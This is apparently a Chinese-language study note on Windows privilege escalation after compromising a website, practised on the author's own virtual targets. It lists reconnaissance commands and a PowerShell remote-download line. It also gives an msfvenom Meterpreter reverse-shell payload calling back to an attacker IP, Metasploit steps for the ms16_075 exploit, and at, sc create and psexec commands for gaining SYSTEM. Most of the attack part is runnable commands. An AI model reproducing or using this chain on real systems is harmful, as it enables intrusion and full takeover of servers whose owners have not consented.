针对Windows系统个人主流操作系统是win7/8/10等等,针对服务器就win2003和2008比较多,
明确权限提升问题,web和本地:
举个例子,现在获得了一个网站权限,这个权限只可以对网站自身的东西进行操作,而你需要对服务器操作,这个时候需要进行服务器提权,获取当前系统的权限,是管理用户,这种提权叫做web提权,借助web权限提升到系统权限,是在拿下网站权限之后的操作。
本地:比如我们Windows用户有很多用户,普通用户和管理用户,有一些东西普通用户操作不了,而我们需要操作,需要通过普通用户,提升到或者拿下管理用户的权限,这就叫做本地提权,是基于本地就有一个普通用户权限,不是基于web。
本地提权成功率很高,web就要低一些,web的权限比本地用户权限要低一些。
系统命令
命令 描述
systeminfo 打印系统信息
whoami 获得当前用户名
whoami /priv 当前账户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net view \127.0.0.1 会话打开到当前计算机
net session 开放给其他机器
netsh firewall show config 显示防火墙配置
DRIVERQUERY 列出安装的驱动
tasklist /svc 列出启动的服务
dir /s foo 在目录中搜索指定字符的项目
dir /s too==bar 同上
net start 列出启动的服务
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立即重启
type file.txt 打印出内容
icacls “C\Example” 列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn 列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile(“https://host/file”,“C:\LocalPath”) 利用ps远程下载文件到本地
accesschk.exe -qwsu “Group” 修改对象(尝试Everyone,Authenticated Users和/或users)
这个需要自己了解。
system权限和Administrator权限是两个回事,system是系统权限,Administrator是管理用户权限,这个区别就是装操作系统的文件夹,Administrator是没有删除的权限,因为Administrator要引用到他,不能进行删除操作,而system就可以。
这里我用我自己的phpstudy,php5.4.45环境,冰蝎后门链接命令执行作为演示
好吧,我这个电脑有问题,不光没有本地用户组,还不能添加新用户,然后在网搜教程新加了一个测试用户,就只有凑活着看吧,win+r 输入control userpasswords2
whoami /priv看一下这个用户能做的事情,查看当前用户权限
systeminfo 显示系统信息
systeminfo > 1.txt 将系统信息打印到1.txt文件里面
跟写入shell的地方,在同一个地址,换一下名字就可以查看
2. 提权操作流程:信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手
这个工具,第一次使用会提示使用一条命令创建漏洞库出来。然后他会对比systeminfo打印的数据对比筛选,对比补丁的漏洞编号,
第一次用及输入个,python3 wes.py --update
这里就是可能存在漏洞。
这个可以在webshell里面使用,只需要主席systeminfo,然后把返回的信息打印出来,放在自己电脑上,然后直接对他进行扫描就行了。
这里需要先运行 powershell 这个编译器
打开生成的文件看
发现是这个,这个直接systeminfo,按这个格式写进去对应的信息,就不要在webshell执行powershell编译器了,正常的webshell也执行不了powershell,所以就是克服了这个困难。
直接看着选项解释使用
正常回显是只有,因为我的电脑没有什么漏洞,所以exp没有信息。
#获取到相关漏洞编号的操作
第一方法是直接用msf提权(优先选用)
因为msf是专门提权的工具,而且是会更新的,可能半年更新一次,然后收录提权漏洞的。在没有的情况下,再去搜索指定的exp。
第二个方法就是用指定的exp,直接github里面搜索cve的编号
在虚拟机没有办法复制粘贴文件,是因为没有安装vmtools。
安装这个久就可以了。
msf,我们在利用的时候针对的都是外网的主机,一般msf提权,会有一个反弹,反弹到会话到主机。因为我们是本机,本机都在内网,他要反弹到内网主机,还要做端口映射,这是很麻烦的事情,所以建议买一个服务器装msf。
我是买不起,就用的虚拟机和虚拟靶机
先生成一个exe文件
msfvenom -p windows/meterpreter/reverse_tcp LPORT=5566(监听端口) LHOST=192.168.0.16(本机ip) -f exe(输出文件类型) -o test.exe(保存exp为test.exe)
---进入监听模块:use exploit/multi/handler
---设置payload反弹:set payload windows/meterpreter/reverse_tcp
---设置LHOST(0.0.0.0什么都监听)、LPORT参数(监听5566端口)
然后把exe文件上传到靶机运行
这个exe执行之后会反弹到192.168.0.16上的5566端口,
输入getuid看一下是什么用户
因为我是靶机做的,也没有什么网站,所以回显管理用户
use windows/local/ms16_075_reflection_juicy 来到这个exp
show optings 查看需要配置得信息
background查看session会话号
设置会话号,设置payload,设置端口
这是老师演示的正常的
开打直接拿下系统权限。
这个是我自己搭建的win2016靶场,把需要的提权文件放到靶机里面
直接点击运行他
就实现了提权很简单。
然后有一些webshell不能执行exe文件,原因后面补充,会有这个并不适用webshell,因为这个是最后弹窗一个新的命令提示符是系统权限,而webshell只会回显结果,并不会弹窗,
1. at提权(针对win7之前(2008之后)的操作系统)
---相关命令:
---at 21:26 /interactive cmd.exe //给系统添加一项作业,在21:26打开
这是win的一个逻辑漏洞,这个计划运行的时候,会system调用执行,
2. sc提权
---使用sc命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开):
sc Create syscmd binPath= "cmd /K start" type= own type= interact
然后在启动他就是system权限
而这两个的作用,就可以很简单的让一个普通用户得到系统权限,而不需要用麻烦的溢出的漏洞,这个就只需要两条命令。
3. ps提权
--- pstools是微软官方工具,是为windows提供的第三方工具库:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
--- psexec.exe -accepteula -s -i -d cmd.exe
先来到这个目录下,然后执行命令就可以
弹出窗口
system权限就拿到了。win2016也可以。
案列一,演示的是溢出漏洞提权,思路是先利用systeminfo进行信息收集,然后开始筛选漏洞出来,然后用特有工具或者exp,拿下西瓜。
案例二,有一些提权是不适应webshell,这也是为什么本地提权比web提权大的原因,一些运行画家和数据的回显状态,成功几率就会低。有些漏洞就只适合在本地提权。
案列三,有一些不是漏洞,但也能提权,有操作系统版本上的区别。是对面系统上的设计逻辑造成的问题。第三方提权。
fa
cai